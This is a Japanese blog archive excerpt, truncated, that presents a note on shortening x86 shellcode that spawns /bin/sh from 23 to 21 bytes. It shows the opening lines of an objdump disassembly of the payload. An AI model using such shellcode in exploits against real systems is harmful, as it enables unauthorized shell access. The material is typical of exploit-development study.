2017-10-18から1日間の記事一覧

/bin/shを起動するシェルコード(x86) その2

前回よりもシェルコードを短くできたのでメモ。 前回は23bytes、今回は21bytes。 # objdump -d -Mintel b.out | grep -A8 \<main\> 080483ed <main>: 80483ed: 31 c0 xor eax,eax 80483ef: 50 push eax 80483f0: 89 e1 mov ecx,esp 80483f2: 68 2f 2f 73 68 push 0x68732f</main></main\>…